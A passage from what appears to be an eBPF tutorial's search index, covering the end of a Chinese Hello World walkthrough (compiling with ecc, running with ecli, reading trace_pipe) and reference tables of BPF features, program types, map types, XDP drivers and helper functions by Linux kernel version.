命令。首先在 Ubuntu/Debian 上，执行以下命令： sudo apt install clang llvm 使用 ecc 编译程序： $ ./ecc minimal.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 或使用 docker 镜像进行编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 然后使用 ecli 运行编译后的程序： $ sudo ./ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep \"BPF triggered sys_enter_write\" <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. 按 Ctrl+C 停止 ecli 进程之后，可以看到对应的输出也停止。 注意：如果正在使用的 Linux 发行版例如 Ubuntu 默认情况下没有启用跟踪子系统可能看不到任何输出，使用以下指令打开这个功能： $ sudo su\n# echo 1 > /sys/kernel/debug/tracing/tracing_on","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » Hello World - minimal eBPF program","id":"17","title":"Hello World - minimal eBPF program"},"170":{"body":"Kernel version Commit 3.15 bd4cf0ed331a","breadcrumbs":"BPF Features by Linux Kernel Version » eBPF support","id":"170","title":"eBPF support"},"171":{"body":"The list of supported architectures for your kernel can be retrieved with: git grep HAVE_EBPF_JIT arch/ Feature / Architecture Kernel version Commit x86_64 3.16 622582786c9e ARM64 3.18 e54bcde3d69d s390 4.1 054623105728 Constant blinding for JIT machines 4.7 4f3446bb809f PowerPC64 4.8 156d0e290e96 Constant blinding - PowerPC64 4.9 b7b7013cac55 Sparc64 4.12 7a12b5031c6b MIPS 4.13 f381bf6d82f0 ARM32 4.14 39c13c204bb1 x86_32 4.18 03f5781be2c7 RISC-V RV64G 5.1 2353ecc6f91f RISC-V RV32G 5.7 5f316b65e99f PowerPC32 5.13 51c66ad849a7 LoongArch 6.1 5dc615520c4d","breadcrumbs":"BPF Features by Linux Kernel Version » JIT compiling","id":"171","title":"JIT compiling"},"172":{"body":"Several (but not all) of these main features translate to an eBPF program type. The list of such program types supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_prog_type {' include/uapi/linux/bpf.h Feature Kernel version Commit AF_PACKET (libpcap/tcpdump, cls_bpf classifier, netfilter's xt_bpf, team driver's load-balancing mode…) 3.15 bd4cf0ed331a Kernel helpers 3.15 bd4cf0ed331a bpf() syscall 3.18 99c55f7d47c0 Maps ( a.k.a. Tables; details below) 3.18 99c55f7d47c0 BPF attached to sockets 3.19 89aa075832b0 BPF attached to kprobes 4.1 2541517c32be cls_bpf / act_bpf for tc 4.1 e2e9b6541dd4 Tail calls 4.2 04fd61ab36ec Non-root programs on sockets 4.4 1be7f75d1668 Persistent maps and programs (virtual FS) 4.4 b2197755b263 tc's direct-action (da) mode 4.4 045efa82ff56 tc's clsact qdisc 4.5 1f211a1b929c BPF attached to tracepoints 4.7 98b5c2c65c29 Direct packet access 4.7 969bf05eb3ce XDP (see below) 4.8 6a773a15a1e8 BPF attached to perf events 4.9 0515e5999a46 Hardware offload for tc's cls_bpf 4.9 332ae8e2f6ec Verifier exposure and internal hooks 4.9 13a27dfc6697 BPF attached to cgroups for socket filtering 4.10 0e33661de493 Lightweight tunnel encapsulation 4.10 3a0af8fd61f9 e BPF support for xt_bpf module (iptables) 4.10 2c16d6033264 BPF program tag 4.10 7bd509e311f4 Tracepoints to debug BPF 4.11 (removed in 4.18) a67edbf4fb6d 4d220ed0f814 Testing / benchmarking BPF programs 4.12 1cf1cae963c2 BPF programs and maps IDs 4.13 dc4bb0e23561 BPF support for sock_ops 4.13 40304b2a1567 BPF support for skbs on sockets 4.14 b005fd189cec bpftool utility in kernel sources 4.15 71bb428fe2c1 BPF attached to cgroups as device controller 4.15 ebc614f68736 bpf2bpf function calls 4.16 cc8b0b92a169 BPF used for monitoring socket RX/TX data 4.17 4f738adba30a BPF attached to raw tracepoints 4.17 c4f6699dfcb8 BPF attached to bind() system call 4.17 4fbac77d2d09 aac3fc320d94 BPF attached to connect() system call 4.17 d74bad4e74ee BPF Type Format (BTF) 4.18 69b693f0aefa AF_XDP 4.18 fbfc504a24f5 bpfilter 4.18 d2ba09c17a06 End.BPF action for seg6local LWT 4.18 004d4b274e2a BPF attached to LIRC devices 4.18 f4364dcfc86d Pass map values to map helpers 4.18 d71962f3e627 BPF socket reuseport 4.19 2dbb9b9e6df6 BPF flow dissector 4.20 d58e468b1112 BPF 1M insn limit 5.2 c04c0d2b968a BPF cgroup sysctl 5.2 7b146cebe30c BPF raw tracepoint writable 5.2 9df1c28bb752 BPF bounded loop 5.3 2589726d12a1 BPF trampoline 5.5 fec56f5890d9 BPF LSM hook 5.7 fc611f47f218 641cd7b06c91 BPF iterator 5.8 180139dca8b3 BPF socket lookup hook 5.9 e9ddbb7707ff Sleepable BPF programs 5.10 1e6c62a88215","breadcrumbs":"BPF Features by Linux Kernel Version » Main features","id":"172","title":"Main features"},"173":{"body":"Program type Kernel version Commit Enum Socket filter 3.19 ddd872bc3098 BPF_PROG_TYPE_SOCKET_FILTER Kprobe 4.1 2541517c32be BPF_PROG_TYPE_KPROBE traffic control (TC) 4.1 96be4325f443 BPF_PROG_TYPE_SCHED_CLS traffic control (TC) 4.1 94caee8c312d BPF_PROG_TYPE_SCHED_ACT Tracepoint 4.7 98b5c2c65c29 BPF_PROG_TYPE_TRACEPOINT XDP 4.8 6a773a15a1e8 BPF_PROG_TYPE_XDP Perf event 4.9 0515e5999a46 BPF_PROG_TYPE_PERF_EVENT cgroup socket filtering 4.10 0e33661de493 BPF_PROG_TYPE_CGROUP_SKB cgroup sock modification 4.10 610236587600 BPF_PROG_TYPE_CGROUP_SOCK lightweight tunnel (IN) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_IN lightweight tunnel (OUT) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_OUT lightweight tunnel (XMIT) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_XMIT cgroup sock ops (per conn) 4.13 40304b2a1567 BPF_PROG_TYPE_SOCK_OPS stream parser / stream verdict 4.14 b005fd189cec BPF_PROG_TYPE_SK_SKB cgroup device manager 4.15 ebc614f68736 BPF_PROG_TYPE_CGROUP_DEVICE socket msg verdict 4.17 4f738adba30a BPF_PROG_TYPE_SK_MSG Raw tracepoint 4.17 c4f6699dfcb8 BPF_PROG_TYPE_RAW_TRACEPOINT socket binding 4.17 4fbac77d2d09 BPF_PROG_TYPE_CGROUP_SOCK_ADDR LWT seg6local 4.18 004d4b274e2a BPF_PROG_TYPE_LWT_SEG6LOCAL lirc devices 4.18 f4364dcfc86d BPF_PROG_TYPE_LIRC_MODE2 lookup SO_REUSEPORT socket 4.19 2dbb9b9e6df6 BPF_PROG_TYPE_SK_REUSEPORT flow dissector 4.20 d58e468b1112 BPF_PROG_TYPE_FLOW_DISSECTOR cgroup sysctl 5.2 7b146cebe30c BPF_PROG_TYPE_CGROUP_SYSCTL writable raw tracepoints 5.2 9df1c28bb752 BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE cgroup getsockopt/setsockopt 5.3 0d01da6afc54 BPF_PROG_TYPE_CGROUP_SOCKOPT Tracing (BTF/BPF trampoline) 5.5 f1b9509c2fb0 BPF_PROG_TYPE_TRACING struct ops 5.6 27ae7997a661 BPF_PROG_TYPE_STRUCT_OPS extensions 5.6 be8704ff07d2 BPF_PROG_TYPE_EXT LSM 5.7 fc611f47f218 BPF_PROG_TYPE_LSM lookup listening socket 5.9 e9ddbb7707ff BPF_PROG_TYPE_SK_LOOKUP Allow executing syscalls 5.15 79a7f8bdb159 BPF_PROG_TYPE_SYSCALL","breadcrumbs":"BPF Features by Linux Kernel Version » Program types","id":"173","title":"Program types"},"174":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » Maps ( a.k.a. Tables, in BCC lingo)","id":"174","title":"Maps ( a.k.a. Tables, in BCC lingo)"},"175":{"body":"The list of map types supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_map_type {' include/uapi/linux/bpf.h Map type Kernel version Commit Enum Hash 3.19 0f8e4bd8a1fc BPF_MAP_TYPE_HASH Array 3.19 28fbcfa08d8e BPF_MAP_TYPE_ARRAY Prog array 4.2 04fd61ab36ec BPF_MAP_TYPE_PROG_ARRAY Perf events 4.3 ea317b267e9d BPF_MAP_TYPE_PERF_EVENT_ARRAY Per-CPU hash 4.6 824bd0ce6c7c BPF_MAP_TYPE_PERCPU_HASH Per-CPU array 4.6 a10423b87a7e BPF_MAP_TYPE_PERCPU_ARRAY Stack trace 4.6 d5a3b1f69186 BPF_MAP_TYPE_STACK_TRACE cgroup array 4.8 4ed8ec521ed5 BPF_MAP_TYPE_CGROUP_ARRAY LRU hash 4.10 29ba732acbee 3a08c2fd7634 BPF_MAP_TYPE_LRU_HASH LRU per-CPU hash 4.10 8f8449384ec3 961578b63474 BPF_MAP_TYPE_LRU_PERCPU_HASH LPM trie (longest-prefix match) 4.11 b95a5c4db09b BPF_MAP_TYPE_LPM_TRIE Array of maps 4.12 56f668dfe00d BPF_MAP_TYPE_ARRAY_OF_MAPS Hash of maps 4.12 bcc6b1b7ebf8 BPF_MAP_TYPE_HASH_OF_MAPS Netdevice references (array) 4.14 546ac1ffb70d BPF_MAP_TYPE_DEVMAP Socket references (array) 4.14 174a79ff9515 BPF_MAP_TYPE_SOCKMAP CPU references 4.15 6710e1126934 BPF_MAP_TYPE_CPUMAP AF_XDP socket (XSK) references 4.18 fbfc504a24f5 BPF_MAP_TYPE_XSKMAP Socket references (hashmap) 4.18 81110384441a BPF_MAP_TYPE_SOCKHASH cgroup storage 4.19 de9cbbaadba5 BPF_MAP_TYPE_CGROUP_STORAGE reuseport sockarray 4.19 5dc4c4b7d4e8 BPF_MAP_TYPE_REUSEPORT_SOCKARRAY precpu cgroup storage 4.20 b741f1630346 BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE queue 4.20 f1a2e44a3aec BPF_MAP_TYPE_QUEUE stack 4.20 f1a2e44a3aec BPF_MAP_TYPE_STACK socket local storage 5.2 6ac99e8f23d4 BPF_MAP_TYPE_SK_STORAGE Netdevice references (hashmap) 5.4 6f9d451ab1a3 BPF_MAP_TYPE_DEVMAP_HASH struct ops 5.6 85d33df357b6 BPF_MAP_TYPE_STRUCT_OPS ring buffer 5.8 457f44363a88 BPF_MAP_TYPE_RINGBUF inode storage 5.10 8ea636848aca BPF_MAP_TYPE_INODE_STORAGE task storage 5.11 4cf1bc1f1045 BPF_MAP_TYPE_TASK_STORAGE Bloom filter 5.16 9330986c0300 BPF_MAP_TYPE_BLOOM_FILTER user ringbuf 6.1 583c1f420173 BPF_MAP_TYPE_USER_RINGBUF","breadcrumbs":"BPF Features by Linux Kernel Version » Map types","id":"175","title":"Map types"},"176":{"body":"Some (but not all) of these API features translate to a subcommand beginning with BPF_MAP_. The list of subcommands supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_cmd {' include/uapi/linux/bpf.h Feature Kernel version Commit Basic operations (lookup, update, delete, GET_NEXT_KEY) 3.18 db20fd2b0108 Pass flags to UPDATE_ELEM 3.19 3274f52073d8 Pre-alloc map memory by default 4.6 6c9059817432 Pass NULL to GET_NEXT_KEY 4.12 8fe45924387b Creation: select NUMA node 4.14 96eabe7a40aa Restrict access from syscall side 4.15 6e71b04a8224 Creation: specify map name 4.15 ad5b177bd73f LOOKUP_AND_DELETE_ELEM 4.20 bd513cd08f10 Creation: BPF_F_ZERO_SEED 5.0 96b3b6c9091d BPF_F_LOCK flag for lookup / update 5.1 96049f3afd50 Restrict access from BPF side 5.2 591fe9888d78 FREEZE 5.2 87df15de441b mmap() support for array maps 5.5 fc9702273e2e LOOKUP_BATCH 5.6 cb4d03ab499d UPDATE_BATCH, DELETE_BATCH 5.6 aa2e93b8e58e LOOKUP_AND_DELETE_BATCH 5.6 057996380a42 LOOKUP_AND_DELETE_ELEM support for hash maps 5.14 3e87f192b405","breadcrumbs":"BPF Features by Linux Kernel Version » Map userspace API","id":"176","title":"Map userspace API"},"177":{"body":"An approximate list of drivers or components supporting XDP programs for your kernel can be retrieved with: git grep -l XDP_SETUP_PROG drivers/ Feature / Driver Kernel version Commit XDP core architecture 4.8 6a773a15a1e8 Action: drop 4.8 6a773a15a1e8 Action: pass on to stack 4.8 6a773a15a1e8 Action: direct forwarding (on same port) 4.8 6ce96ca348a9 Direct packet data write 4.8 4acf6c0b84c9 Mellanox mlx4 driver 4.8 47a38e155037 Mellanox mlx5 driver 4.9 86994156c736 Netronome nfp driver 4.10 ecd63a0217d5 QLogic (Cavium) qed* drivers 4.10 496e05170958 virtio_net driver 4.10 f600b6905015 Broadcom bnxt_en driver 4.11 c6d30e8391b8 Intel ixgbe* drivers 4.12 924708081629 Cavium thunderx driver 4.12 05c773f52b96 Generic XDP 4.12 b5cdae3291f7 Intel i40e driver 4.13 0c8493d90b6b Action: redirect 4.14 6453073987ba Support for tap 4.14 761876c857cb Support for veth 4.14 d445516966dc Intel ixgbevf driver 4.17 c7aec59657b6 Freescale dpaa2 driver 5.0 7e273a8ebdd3 Socionext netsec driver 5.3 ba2b232108d3 TI cpsw driver 5.3 9ed4050c0d75 Intel ice driver 5.5 efc2214b6047 Solarflare sfc driver 5.5 eb9a36be7f3e Marvell mvneta driver 5.5 0db51da7a8e9 Microsoft hv_netvsc driver 5.6 351e1581395f Amazon ena driver 5.6 838c93dc5449 xen-netfront driver 5.9 6c5aa6fc4def Intel igb driver 5.10 9cbc948b5a20","breadcrumbs":"BPF Features by Linux Kernel Version » XDP","id":"177","title":"XDP"},"178":{"body":"The list of helpers supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep '\tFN(' include/uapi/linux/bpf.h Alphabetical order Helper Kernel version License Commit BPF_FUNC_bind() 4.17 d74bad4e74ee BPF_FUNC_bprm_opts_set() 5.11 3f6719c7b62f BPF_FUNC_btf_find_by_name_kind() 5.14 3d78417b60fb BPF_FUNC_cgrp_storage_delete() 6.2 c4bcfb38a95e BPF_FUNC_cgrp_storage_get() 6.2 c4bcfb38a95e BPF_FUNC_check_mtu() 5.12 34b2021cc616 BPF_FUNC_clone_redirect() 4.2 3896d655f4d4 BPF_FUNC_copy_from_user() 5.10 07be4c4a3e7a BPF_FUNC_copy_from_user_task() 5.18 GPL 376040e47334 BPF_FUNC_csum_diff() 4.6 7d672345ed29 BPF_FUNC_csum_level() 5.7 7cdec54f9713 BPF_FUNC_csum_update() 4.9 36bbef52c7eb BPF_FUNC_current_task_under_cgroup() 4.9 60d20f9195b2 BPF_FUNC_d_path() 5.10 6e22ab9da793 BPF_FUNC_dynptr_data() 5.19 34d4ef5775f7 BPF_FUNC_dynptr_from_mem() 5.19 263ae152e962 BPF_FUNC_dynptr_read() 5.19 13bbbfbea759 BPF_FUNC_dynptr_write() 5.19 13bbbfbea759 BPF_FUNC_fib_lookup() 4.18 GPL 87f5fc7e48dd BPF_FUNC_find_vma() 5.17 7c7e3d31e785 BPF_FUNC_for_each_map_elem() 5.13 69c087ba6225 BPF_FUNC_get_attach_cookie() 5.15 7adfc6c9b315 BPF_FUNC_get_branch_snapshot() 5.16 GPL 856c02dbce4f BPF_FUNC_get_current_ancestor_cgroup_id() 5.6 b4490c5c4e02 BPF_FUNC_get_cgroup_classid() 4.3 8d20aabe1c76 BPF_FUNC_get_current_cgroup_id() 4.18 bf6fa2c893c5 BPF_FUNC_get_current_comm() 4.2 ffeedafbf023 BPF_FUNC_get_current_pid_tgid() 4.2 ffeedafbf023 BPF_FUNC_get_current_task() 4.8 GPL 606274c5abd8 BPF_FUNC_get_current_task_btf() 5.11 GPL 3ca1032ab7ab BPF_FUNC_get_current_uid_gid() 4.2 ffeedafbf023 BPF_FUNC_get_func_arg() 5.17 f92c1e183604 BPF_FUNC_get_func_arg_cnt() 5.17 f92c1e183604 BPF_FUNC_get_func_ip() 5.15 5d8b583d04ae BPF_FUNC_get_func_ret() 5.17 f92c1e183604 BPF_FUNC_get_retval() 5.18 b44123b4a3dc BPF_FUNC_get_hash_recalc() 4.8 13c5c240f789 BPF_FUNC_get_listener_sock() 5.1 dbafd7ddd623 BPF_FUNC_get_local_storage() 4.19 cd3394317653 BPF_FUNC_get_netns_cookie() 5.7 f318903c0bf4 BPF_FUNC_get_ns_current_pid_tgid() 5.7 b4490c5c4e02 BPF_FUNC_get_numa_node_id() 4.10 2d0e30c30f84 BPF_FUNC_get_prandom_u32() 4.1 03e69b508b6f BPF_FUNC_get_route_realm() 4.4 c46646d0484f BPF_FUNC_get_smp_processor_id() 4.1 c04167ce2ca0 BPF_FUNC_get_socket_cookie() 4.12 91b8270f2a4d BPF_FUNC_get_socket_uid() 4.12 6acc5c291068 BPF_FUNC_get_stack() 4.18 GPL de2ff05f48af BPF_FUNC_get_stackid() 4.6 GPL d5a3b1f69186 BPF_FUNC_get_task_stack() 5.9 fa28dcb82a38 BPF_FUNC_getsockopt() 4.15 cd86d1fd2102 BPF_FUNC_ima_file_hash() 5.18 174b16946e39 BPF_FUNC_ima_inode_hash() 5.11 27672f0d280a BPF_FUNC_inode_storage_delete() 5.10 8ea636848aca BPF_FUNC_inode_storage_get() 5.10 8ea636848aca BPF_FUNC_jiffies64() 5.5 5576b991e9c1 BPF_FUNC_kallsyms_lookup_name() 5.16 d6aef08a872b BPF_FUNC_kptr_xchg() 5.19 c0a5a21c25f3 BPF_FUNC_ktime_get_boot_ns() 5.8 71d19214776e BPF_FUNC_ktime_get_coarse_ns() 5.11 d05512618056 BPF_FUNC_ktime_get_ns() 4.1 d9847d310ab4 BPF_FUNC_ktime_get_tai_ns() 6.1 c8996c98f703 BPF_FUNC_l3_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_l4_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_load_hdr_opt() 5.10 0813a841566f BPF_FUNC_loop() 5.17 e6f2dd0f8067 BPF_FUNC_lwt_push_encap() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_action() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_adjust_srh() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_store_bytes() 4.18 fe94cc290f53 BPF_FUNC_map_delete_elem() 3.19 d0003ec01c66 BPF_FUNC_map_lookup_elem() 3.19 d0003ec01c66 BPF_FUNC_map_lookup_percpu_elem() 5.19 07343110b293 BPF_FUNC_map_peek_elem() 4.20 f1a2e44a3aec BPF_FUNC_map_pop_elem() 4.20 f1a2e44a3aec BPF_FUNC_map_push_elem() 4.20 f1a2e44a3aec BPF_FUNC_map_update_elem() 3.19 d0003ec01c66 BPF_FUNC_msg_apply_bytes() 4.17 2a100317c9eb BPF_FUNC_msg_cork_bytes() 4.17 91843d540a13 BPF_FUNC_msg_pop_data() 5.0 7246d8ed4dcc BPF_FUNC_msg_pull_data() 4.17 015632bb30da BPF_FUNC_msg_push_data() 4.20 6fff607e2f14 BPF_FUNC_msg_redirect_hash() 4.18 81110384441a BPF_FUNC_msg_redirect_map() 4.17 4f738adba30a BPF_FUNC_per_cpu_ptr() 5.10 eaa6bcb71ef6 BPF_FUNC_perf_event_output() 4.4 GPL a43eec304259 BPF_FUNC_perf_event_read() 4.3 GPL 35578d798400 BPF_FUNC_perf_event_read_value() 4.15 GPL 908432ca84fc BPF_FUNC_perf_prog_read_value() 4.15 GPL 4bebdc7a85aa BPF_FUNC_probe_read() 4.1 GPL 2541517c32be BPF_FUNC_probe_read_kernel() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_kernel_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_str() 4.11 GPL a5e8c07059d0 BPF_FUNC_probe_write_user() 4.8 GPL 96ae52279594 BPF_FUNC_rc_keydown() 4.18 GPL f4364dcfc86d BPF_FUNC_rc_pointer_rel() 5.0 GPL 01d3240a04f4 BPF_FUNC_rc_repeat() 4.18 GPL f4364dcfc86d BPF_FUNC_read_branch_records() 5.6 GPL fff7b64355ea BPF_FUNC_redirect() 4.4 27b29f63058d BPF_FUNC_redirect_map() 4.14 97f91a7cf04f BPF_FUNC_redirect_neigh() 5.10 b4ab31414970 BPF_FUNC_redirect_peer() 5.10 9aa1206e8f48 BPF_FUNC_reserve_hdr_opt() 5.10 0813a841566f BPF_FUNC_ringbuf_discard() 5.8 457f44363a88 BPF_FUNC_ringbuf_discard_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_output() 5.8 457f44363a88 BPF_FUNC_ringbuf_query() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d BPF_FUNC_sk_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_fullsock() 5.1 46f8bc92758c BPF_FUNC_sk_lookup_tcp() 4.20 6acc9b432e67 BPF_FUNC_sk_lookup_udp() 4.20 6acc9b432e67 BPF_FUNC_sk_redirect_hash() 4.18 81110384441a BPF_FUNC_sk_redirect_map() 4.14 174a79ff9515 BPF_FUNC_sk_release() 4.20 6acc9b432e67 BPF_FUNC_sk_select_reuseport() 4.19 2dbb9b9e6df6 BPF_FUNC_sk_storage_delete() 5.2 6ac99e8f23d4 BPF_FUNC_sk_storage_get() 5.2 6ac99e8f23d4 BPF_FUNC_skb_adjust_room() 4.13 2be7e212d541 BPF_FUNC_skb_ancestor_cgroup_id() 4.19 7723628101aa BPF_FUNC_skb_change_head() 4.10 3a0af8fd61f9 BPF_FUNC_skb_change_proto() 4.8 6578171a7ff0 BPF_FUNC_skb_change_tail() 4.9 5293efe62df8 BPF_FUNC_skb_change_type() 4.8 d2485c4242a8 BPF_FUNC_skb_cgroup_classid() 5.10 b426ce83baa7 BPF_FUNC_skb_cgroup_id() 4.18 cb20b08ead40 BPF_FUNC_skb_ecn_set_ce() 5.1 f7c917ba11a6 BPF_FUNC_skb_get_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_get_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_get_xfrm_state() 4.18 12bed760a78d BPF_FUNC_skb_load_bytes() 4.5 05c74e5e53f6 BPF_FUNC_skb_load_bytes_relative() 4.18 4e1ec56cdc59 BPF_FUNC_skb_output() 5.5 a7658e1a4164 BPF_FUNC_skb_pull_data() 4.9 36bbef52c7eb BPF_FUNC_skb_set_tstamp() 5.18 9bb984f28d5b BPF_FUNC_skb_set_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_set_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_store_bytes() 4.1 91bc4822c3d6 BPF_FUNC_skb_under_cgroup() 4.8 4a482f34afcc BPF_FUNC_skb_vlan_pop() 4.3 4e10df9a60d9 BPF_FUNC_skb_vlan_push() 4.3 4e10df9a60d9 BPF_FUNC_skc_lookup_tcp() 5.2 edbf8c01de5a BPF_FUNC_skc_to_mctcp_sock() 5.19 3bc253c2e652 BPF_FUNC_skc_to_tcp_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_request_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_timewait_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp6_sock() 5.9 af7ec1383361 BPF_FUNC_skc_to_udp6_sock() 5.9 0d4fad3e57df BPF_FUNC_skc_to_unix_sock() 5.16 9eeb3aa33ae0 BPF_FUNC_snprintf() 5.13 7b15523a989b BPF_FUNC_snprintf_btf() 5.10 c4d0bfb45068 BPF_FUNC_sock_from_file() 5.11 4f19cab76136 BPF_FUNC_sock_hash_update() 4.18 81110384441a BPF_FUNC_sock_map_update() 4.14 174a79ff9515 BPF_FUNC_spin_lock() 5.1 d83525ca62cf BPF_FUNC_spin_unlock() 5.1 d83525ca62cf BPF_FUNC_store_hdr_opt() 5.10 0813a841566f BPF_FUNC_strncmp() 5.17 c5fb19937455 BPF_FUNC_strtol() 5.2 d7a4cb9b6705 BPF_FUNC_strtoul() 5.2 d7a4cb9b6705 BPF_FUNC_sys_bpf() 5.14 79a7f8bdb159 BPF_FUNC_sys_close() 5.14 3abea089246f BPF_FUNC_sysctl_get_current_value() 5.2 1d11b3016cec BPF_FUNC_sysctl_get_name() 5.2 808649fb787d BPF_FUNC_sysctl_get_new_value() 5.2 4e63acdff864 BPF_FUNC_sysctl_set_new_value() 5.2 4e63acdff864 BPF_FUNC_tail_call() 4.2 04fd61ab36ec BPF_FUNC_task_pt_regs() 5.15 GPL dd6e10fbd9f BPF_FUNC_task_storage_delete() 5.11 4cf1bc1f1045 BPF_FUNC_task_storage_get() 5.11 4cf1bc1f1045 BPF_FUNC_tcp_check_syncookie() 5.2 399040847084 BPF_FUNC_tcp_gen_syncookie() 5.3 70d66244317e BPF_FUNC_tcp_raw_check_syncookie_ipv4() 6.0 33bf9885040c BPF_FUNC_tcp_raw_check_syncookie_ipv6() 6.0 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv4() 6.0 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv6() 6.0 33bf9885040c BPF_FUNC_tcp_send_ack() 5.5 206057fe020a BPF_FUNC_tcp_sock() 5.1 655a51e536c0 BPF_FUNC_this_cpu_ptr() 5.10 63d9b80dcf2c BPF_FUNC_timer_init() 5.15 b00628b1c7d5 BPF_FUNC_timer_set_callback() 5.15 b00628b1c7d5 BPF_FUNC_timer_start() 5.15 b00628b1c7d5 BPF_FUNC_timer_cancel() 5.15 b00628b1c7d5 BPF_FUNC_trace_printk() 4.1 GPL 9c959c863f82 BPF_FUNC_trace_vprintk() 5.16 GPL 10aceb629e19 BPF_FUNC_user_ringbuf_drain() 6.1 205715673844 BPF_FUNC_xdp_adjust_head() 4.10 17bedab27231 BPF_FUNC_xdp_adjust_meta() 4.15 de8f3a83b0a0 BPF_FUNC_xdp_adjust_tail() 4.18 b32cc5b9a346 BPF_FUNC_xdp_get_buff_len() 5.18 0165cc817075 BPF_FUNC_xdp_load_bytes() 5.18 3f364222d032 BPF_FUNC_xdp_store_bytes() 5.18 3f364222d032 BPF_FUNC_xdp_output() 5.6 GPL d831ee84bfc9 BPF_FUNC_override_return() 4.16 GPL 9802d86585db BPF_FUNC_sock_ops_cb_flags_set() 4.16 b13d88072172 Note: GPL-only BPF helpers require a GPL-compatible license. The current licenses considered GPL-compatible by the kernel are: GPL GPL v2 GPL and additional rights Dual BSD/GPL Dual MIT/GPL Dual MPL/GPL Check the list of GPL-compatible licenses in your kernel source code .","breadcrumbs":"BPF Features by Linux Kernel Version » Helpers","id":"178","title":"Helpers"},"179":{"body":"The list of program types and supported helper functions can be retrieved with: git grep -W 'func_proto(enum bpf_func_id func_id' kernel/ net/ drivers/ Program Type Helper Functions BPF_PROG_TYPE_SOCKET_FILTER BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_perf_event_output() Base functions BPF_PROG_TYPE_KPROBE BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_event_read_value() BPF_FUNC_override_return() Tracing functions BPF_PROG_TYPE_SCHED_CLS BPF_PROG_TYPE_SCHED_ACT BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() BPF_FUNC_l4_csum_replace() BPF_FUNC_clone_redirect() BPF_FUNC_get_cgroup_classid() BPF_FUNC_skb_vlan_push() BPF_FUNC_skb_vlan_pop() BPF_FUNC_skb_change_proto() BPF_FUNC_skb_change_type() BPF_FUNC_skb_adjust_room() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() BPF_FUNC_redirect() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_set_hash_invalid() BPF_FUNC_set_hash() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_fib_lookup() BPF_FUNC_skb_get_xfrm_state() BPF_FUNC_skb_cgroup_id() Base functions BPF_PROG_TYPE_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_d_path() Tracing functions BPF_PROG_TYPE_XDP 